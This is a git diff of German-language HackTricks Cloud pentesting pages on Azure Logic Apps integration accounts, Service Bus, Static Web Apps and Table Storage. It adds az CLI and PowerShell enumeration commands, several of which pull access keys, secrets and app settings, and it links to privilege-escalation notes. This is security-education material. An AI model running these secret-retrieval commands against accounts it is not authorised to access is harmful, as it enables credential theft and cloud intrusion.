az logic integration-account batch-configuration show \
--resource-group <resource-group-name> \
--integration-account-name <integration-account-name> \
--batch-configuration-name <batch-configuration-name>
# Map
az logic integration-account map list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account map show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--map-name <map-name>
# Partner
az logic integration-account partner list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account partner show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <partner-name>
# Session
az logic integration-account session list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account session show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--name <session-name>
# Assembly
# Session
az logic integration-account assembly list \
--resource-group <resource-group-name> \
--integration-account <integration-account-name>
az logic integration-account assembly show \
--resource-group <resource-group-name> \
--integration-account <integration-account-name> \
--assembly-artifact-name <assembly-name>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.LogicApp
# Retrieve details of an integration account
Get-AzIntegrationAccount -ResourceGroupName <resource-group-name> -Name <integration-account-name>
# Retrieve the callback URL of an integration account
Get-AzIntegrationAccountCallbackUrl -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name>
# Retrieve details of a specific agreement in an integration account
Get-AzIntegrationAccountAgreement -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <agreement-name>
# Retrieve details of a specific assembly in an integration account
Get-AzIntegrationAccountAssembly -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <assembly-name>
# Retrieve details of a specific batch configuration in an integration account
Get-AzIntegrationAccountBatchConfiguration -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <batch-configuration-name>
# Retrieve details of a specific certificate in an integration account
Get-AzIntegrationAccountCertificate -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <certificate-name>
# Retrieve details of a specific map in an integration account
Get-AzIntegrationAccountMap -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <map-name>
# Retrieve details of a specific partner in an integration account
Get-AzIntegrationAccountPartner -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <partner-name>
# Retrieve details of a specific schema in an integration account
Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -IntegrationAccountName <integration-account-name> -Name <schema-name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Privilegieneskalation
Gleich wie bei Logic Apps Privesc:
{% content-ref url="../az-privilege-escalation/az-logic-apps-privesc.md" %}
[az-logic-apps-privesc.md](../az-privilege-escalation/az-logic-apps-privesc.md)
{% endcontent-ref %}
## Post-Exploitation
{% content-ref url="../az-post-exploitation/az-logic-apps-post-exploitation.md" %}
[az-logic-apps-post-exploitation.md](../az-post-exploitation/az-logic-apps-post-exploitation.md)
{% endcontent-ref %}
{% hint style="success" %}
Lerne & übe AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Lerne & übe GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Unterstütze HackTricks</summary>
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
</details>
{% endhint %}

View File

@@ -4,7 +4,7 @@
## Service Bus
Azure Service Bus ist ein cloudbasierter **Messaging-Dienst**, der entwickelt wurde, um eine zuverlässige **Kommunikation zwischen verschiedenen Teilen einer Anwendung oder separaten Anwendungen** zu ermöglichen. Er fungiert als sicherer Mittelsmann und stellt sicher, dass Nachrichten sicher zugestellt werden, selbst wenn Sender und Empfänger nicht gleichzeitig arbeiten. Durch die Entkopplung von Systemen ermöglicht er es Anwendungen, unabhängig zu arbeiten, während sie weiterhin Daten oder Anweisungen austauschen. Er ist besonders nützlich für Szenarien, die Lastverteilung über mehrere Arbeiter, zuverlässige Nachrichtenübermittlung oder komplexe Koordination erfordern, wie z.B. die Verarbeitung von Aufgaben in der richtigen Reihenfolge oder die sichere Verwaltung von Zugriffsrechten.
Azure Service Bus ist ein cloudbasierter **Messaging-Dienst**, der entwickelt wurde, um eine zuverlässige **Kommunikation zwischen verschiedenen Teilen einer Anwendung oder separaten Anwendungen** zu ermöglichen. Er fungiert als sicherer Mittelsmann und stellt sicher, dass Nachrichten sicher zugestellt werden, selbst wenn Sender und Empfänger nicht gleichzeitig arbeiten. Durch die Entkopplung von Systemen ermöglicht es Anwendungen, unabhängig zu arbeiten, während sie dennoch Daten oder Anweisungen austauschen. Es ist besonders nützlich für Szenarien, die Lastverteilung über mehrere Arbeiter, zuverlässige Nachrichtenübermittlung oder komplexe Koordination erfordern, wie z.B. die Verarbeitung von Aufgaben in der richtigen Reihenfolge oder die sichere Verwaltung von Zugriffsrechten.
### Schlüsselkonzepte
@@ -26,12 +26,12 @@ Einige erweiterte Funktionen sind:
- **Automatische Weiterleitung**: Überträgt Nachrichten zwischen Warteschlangen oder Themen im selben Namespace.
- **Dead-Lettering**: Erfasst nicht zustellbare Nachrichten zur Überprüfung.
- **Geplante Lieferung**: Verzögert die Nachrichtenverarbeitung für zukünftige Aufgaben.
- **Nachrichtenaussetzung**: Verschiebt den Abruf von Nachrichten, bis sie bereit sind.
- **Nachrichtenaussetzung**: Verschiebt die Nachrichtenabholung, bis sie bereit ist.
- **Transaktionen**: Gruppiert Operationen in atomare Ausführung.
- **Filter & Aktionen**: Wendet Regeln an, um Nachrichten zu filtern oder zu annotieren.
- **Automatische Löschung bei Inaktivität**: Löscht Warteschlangen nach Inaktivität (min: 5 Minuten).
- **Automatisches Löschen bei Inaktivität**: Löscht Warteschlangen nach Inaktivität (min: 5 Minuten).
- **Duplikaterkennung**: Entfernt doppelte Nachrichten während der erneuten Übertragung.
- **Batch-Löschung**: Löscht abgelaufene oder unnötige Nachrichten in großen Mengen.
- **Batch-Löschung**: Löscht im Bulk abgelaufene oder unnötige Nachrichten.
### Autorisierungsregel / SAS-Richtlinie
@@ -50,6 +50,10 @@ SAS-Richtlinien definieren die Zugriffsberechtigungen für Azure Service Bus-Ent
sku, autorisierungsregel,
### Enumeration
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# Queue Enumeration
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
@@ -77,13 +81,65 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
```
### Privilegienerweiterung
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.ServiceBus
# Retrieves details of a Service Bus namespace, including V2-specific features like additional metrics or configurations.
Get-AzServiceBusNamespaceV2 -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the authorization rules for a Service Bus namespace, queue, or topic.
Get-AzServiceBusAuthorizationRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the Geo-Disaster Recovery configuration for a Service Bus namespace, if it is enabled.
Get-AzServiceBusGeoDRConfiguration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves the shared access keys for a specified authorization rule in a Service Bus namespace.
Get-AzServiceBusKey -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <RuleName>
# Retrieves the migration state and details for a Service Bus namespace, if a migration is in progress.
Get-AzServiceBusMigration -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves properties and details about a Service Bus namespace.
Get-AzServiceBusNamespace -ResourceGroupName <ResourceGroupName> -Name <NamespaceName>
# Retrieves the network rule set for a Service Bus namespace, such as IP restrictions or virtual network access rules.
Get-AzServiceBusNetworkRuleSet -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private endpoint connections for a Service Bus namespace.
Get-AzServiceBusPrivateEndpointConnection -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves private link resources associated with a Service Bus namespace.
Get-AzServiceBusPrivateLink -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
# Retrieves details of a specified queue in a Service Bus namespace.
Get-AzServiceBusQueue -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -Name <QueueName>
# Retrieves rules (filters and actions) for a subscription under a Service Bus topic.
Get-AzServiceBusRule -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName> -SubscriptionName <SubscriptionName>
# Retrieves details of subscriptions for a specified Service Bus topic.
Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName> -TopicName <TopicName>
# Retrieves details of a specified topic in a Service Bus namespace.
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
```
{% endcode %}
{% endtab %}
{% endtabs %}
### Privilegieneskalation
{{#ref}}
../az-privilege-escalation/az-servicebus-privesc.md
{{#endref}}
### Nach der Ausnutzung
### Post-Exploitation
{{#ref}}
../az-post-exploitation/az-servicebus-post-exploitation.md

View File

@@ -4,7 +4,7 @@
## Grundinformationen zu Statischen Web-Apps
Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps mit automatischem CI/CD aus Repositories wie GitHub**. Es bietet globale Inhaltsbereitstellung, serverlose Backends und integriertes HTTPS, was es sicher und skalierbar macht. Allerdings bedeutet es nicht, dass der Dienst, auch wenn er "statisch" genannt wird, völlig sicher ist. Risiken umfassen falsch konfigurierte CORS, unzureichende Authentifizierung und Inhaltsmanipulation, die Apps Angriffen wie XSS und Datenlecks aussetzen können, wenn sie nicht ordnungsgemäß verwaltet werden.
Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps mit automatischem CI/CD aus Repositories wie GitHub**. Es bietet globale Inhaltsbereitstellung, serverlose Backends und integriertes HTTPS, was es sicher und skalierbar macht. Allerdings bedeutet der Name "statisch" nicht, dass es völlig sicher ist. Risiken umfassen falsch konfigurierte CORS, unzureichende Authentifizierung und Inhaltsmanipulation, die Apps Angriffen wie XSS und Datenlecks aussetzen können, wenn sie nicht ordnungsgemäß verwaltet werden.
### Bereitstellungsauthentifizierung
@@ -12,8 +12,8 @@ Azure Static Web Apps ist ein Cloud-Dienst zum Hosten von **statischen Web-Apps
> Wenn eine Statische App erstellt wird, können Sie die **Bereitstellungsautorisierungspolitik** zwischen **Bereitstellungstoken** und **GitHub Actions-Workflow** wählen.
- **Bereitstellungstoken**: Ein Token wird generiert und verwendet, um den Bereitstellungsprozess zu authentifizieren. Jeder mit **diesem Token kann eine neue Version der App bereitstellen**. Eine **Github Action wird automatisch** im Repo mit dem Token in einem Geheimnis bereitgestellt, um jedes Mal eine neue Version der App bereitzustellen, wenn das Repo aktualisiert wird.
- **GitHub Actions-Workflow**: In diesem Fall wird eine sehr ähnliche Github Action ebenfalls im Repo bereitgestellt und das **Token wird ebenfalls in einem Geheimnis gespeichert**. Diese Github Action hat jedoch einen Unterschied, sie verwendet die **`actions/github-script@v6`**-Aktion, um das IDToken des Repositories zu erhalten und es zur Bereitstellung der App zu verwenden.
- Selbst wenn in beiden Fällen die Aktion **`Azure/static-web-apps-deploy@v1`** mit einem Token im `azure_static_web_apps_api_token`-Parameter verwendet wird, ist in diesem zweiten Fall ein zufälliges Token mit einem gültigen Format wie `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ausreichend, um die App bereitzustellen, da die Autorisierung mit dem IDToken im `github_id_token`-Parameter erfolgt.
- **GitHub Actions-Workflow**: In diesem Fall wird eine sehr ähnliche Github Action ebenfalls im Repo bereitgestellt und das **Token wird ebenfalls in einem Geheimnis gespeichert**. Diese Github Action hat jedoch einen Unterschied, sie verwendet die **`actions/github-script@v6`** Action, um das IDToken des Repositories zu erhalten und es zur Bereitstellung der App zu verwenden.
- Selbst wenn in beiden Fällen die Action **`Azure/static-web-apps-deploy@v1`** mit einem Token im `azure_static_web_apps_api_token`-Parameter verwendet wird, ist in diesem zweiten Fall ein zufälliges Token mit einem gültigen Format wie `12345cbb198a77a092ff885781a62a15d51ef5e3654ca11234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345` ausreichend, um die App bereitzustellen, da die Autorisierung mit dem IDToken im `github_id_token`-Parameter erfolgt.
### Grundlegende Authentifizierung für Web-Apps
@@ -62,7 +62,7 @@ Einige Beispiele:
}
}
```
Beachten Sie, dass es möglich ist, **einen Pfad mit einer Rolle zu schützen**. Benutzer müssen sich dann bei der App authentifizieren und diese Rolle erhalten, um auf den Pfad zuzugreifen. Es ist auch möglich, **Einladungen zu erstellen**, die bestimmten Benutzern, die sich über EntraID, Facebook, GitHub, Google, Twitter anmelden, spezifische Rollen gewähren, was nützlich sein könnte, um Privilegien innerhalb der App zu eskalieren.
Beachten Sie, wie es möglich ist, **einen Pfad mit einer Rolle zu schützen**. Benutzer müssen sich dann bei der App authentifizieren und diese Rolle erhalten, um auf den Pfad zuzugreifen. Es ist auch möglich, **Einladungen zu erstellen**, die bestimmten Benutzern, die sich über EntraID, Facebook, GitHub, Google, Twitter anmelden, spezifische Rollen gewähren, was nützlich sein könnte, um Privilegien innerhalb der App zu eskalieren.
> [!TIP]
> Beachten Sie, dass es möglich ist, die App so zu konfigurieren, dass **Änderungen an der `staticwebapp.config.json`**-Datei nicht akzeptiert werden. In diesem Fall könnte es nicht ausreichen, die Datei nur von Github zu ändern, sondern auch **die Einstellung in der App zu ändern**.
@@ -76,6 +76,10 @@ Azure Static Web Apps können so konfiguriert werden, dass sie **verwaltete Iden
Für weitere Informationen finden Sie in einem Azure-Leitfaden, wie Sie ein Vault-Geheimnis in einer statischen App verwenden, unter https://learn.microsoft.com/en-us/azure/static-web-apps/key-vault-secrets.
## Aufzählung
{% tabs %}
{% tab title="az cli" %}
{% code overflow="wrap" %}
```bash
# List Static Webapps
az staticwebapp list --output table
@@ -107,9 +111,62 @@ az rest --method POST \
# Check connected backends
az staticwebapp backends show --name <name> --resource-group <res-group>
```
{% endcode %}
{% endtab %}
{% tab title="Az PowerShell" %}
{% code overflow="wrap" %}
```powershell
Get-Command -Module Az.Websites
# Retrieves details of a specific Static Web App in the specified resource group.
Get-AzStaticWebApp -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the build details for a specific Static Web App.
Get-AzStaticWebAppBuild -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the application settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves functions for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunction -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves function app settings for a specific build environment in a Static Web App.
Get-AzStaticWebAppBuildFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name> -EnvironmentName <EnvironmentName>
# Retrieves the configured roles for a Static Web App.
Get-AzStaticWebAppConfiguredRole -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the custom domains configured for a Static Web App.
Get-AzStaticWebAppCustomDomain -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves details of the functions associated with a Static Web App.
Get-AzStaticWebAppFunction -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the app settings for the function app associated with a Static Web App.
Get-AzStaticWebAppFunctionAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves the secrets for a Static Web App.
Get-AzStaticWebAppSecret -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves general app settings for a Static Web App.
Get-AzStaticWebAppSetting -ResourceGroupName <ResourceGroupName> -Name <Name>
# Retrieves user details for a Static Web App with a specified authentication provider.
Get-AzStaticWebAppUser -ResourceGroupName <ResourceGroupName> -Name <Name> -AuthProvider <AuthProvider>
# Retrieves user-provided function apps associated with a Static Web App.
Get-AzStaticWebAppUserProvidedFunctionApp -ResourceGroupName <ResourceGroupName> -Name <Name>
```
{% endcode %}
{% endtab %}
{% endtabs %}
## Beispiele zur Erstellung von Webanwendungen
Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung im folgenden Link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung unter folgendem Link: [https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github](https://learn.microsoft.com/en-us/azure/static-web-apps/get-started-portal?tabs=react&pivots=github)
1. Forken Sie das Repository https://github.com/staticwebdev/react-basic/generate in Ihr GitHub-Konto und benennen Sie es in `my-first-static-web-app`
2. Erstellen Sie im Azure-Portal eine Static Web App, indem Sie den Zugriff auf GitHub konfigurieren und das zuvor geforkte neue Repository auswählen
@@ -117,7 +174,7 @@ Sie finden ein schönes Beispiel zur Erstellung einer Webanwendung im folgenden
## Privilegieneskalation und Post-Exploitation
Alle Informationen zur Privilegieneskalation und Post-Exploitation in Azure Static Web Apps finden Sie im folgenden Link:
Alle Informationen zur Privilegieneskalation und Post-Exploitation in Azure Static Web Apps finden Sie unter folgendem Link:
{{#ref}}
../az-privilege-escalation/az-static-web-apps-privesc.md

View File

@@ -4,9 +4,9 @@
## Grundinformationen
**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten konzipiert ist. Er bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und Shared Access Signatures für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist.
**Azure Table Storage** ist ein NoSQL-Key-Value-Speicher, der für die Speicherung großer Mengen strukturierter, nicht-relationaler Daten konzipiert ist. Es bietet hohe Verfügbarkeit, niedrige Latenz und Skalierbarkeit, um große Datensätze effizient zu verarbeiten. Daten sind in Tabellen organisiert, wobei jede Entität durch einen Partition Key und einen Row Key identifiziert wird, was schnelle Abfragen ermöglicht. Es unterstützt Funktionen wie Verschlüsselung im Ruhezustand, rollenbasierte Zugriffskontrolle und Shared Access Signatures für sicheren, verwalteten Speicher, der für eine Vielzahl von Anwendungen geeignet ist.
Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher.
Es **gibt keinen integrierten Backup-Mechanismus** für die Tabellenspeicherung.
### Schlüssel
@@ -20,7 +20,7 @@ Es **gibt keinen integrierten Backup-Mechanismus** für den Tabellenspeicher.
- Der **RowKey ist der eindeutige Identifikator** für eine Entität innerhalb einer Partition. In Kombination mit dem PartitionKey stellt er sicher, dass jede Entität in der Tabelle einen global eindeutigen Identifikator hat.
- Beispiel: Für die Partition `"HR"` könnte der `RowKey` eine Mitarbeiter-ID sein, z.B. `"12345"`.
#### **Weitere Eigenschaften (Benutzerdefinierte Eigenschaften)**
#### **Andere Eigenschaften (Benutzerdefinierte Eigenschaften)**
- Neben dem PartitionKey und RowKey kann eine Entität zusätzliche **benutzerdefinierte Eigenschaften zur Speicherung von Daten** haben. Diese sind benutzerdefiniert und fungieren wie Spalten in einer traditionellen Datenbank.
- Eigenschaften werden als **Schlüssel-Wert-Paare** gespeichert.
@@ -69,6 +69,8 @@ Get-AzStorageAccount
# List tables
Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -ResourceGroupName <ResourceGroupName>).Context
Get-AzStorageTableStoredAccessPolicy -Table <Table> -Context (Get-AzStorageAccount -Name <mystorageaccount -ResourceGroupName <ResourceGroupName>).Context
```
{{#endtab}}
{{#endtabs}}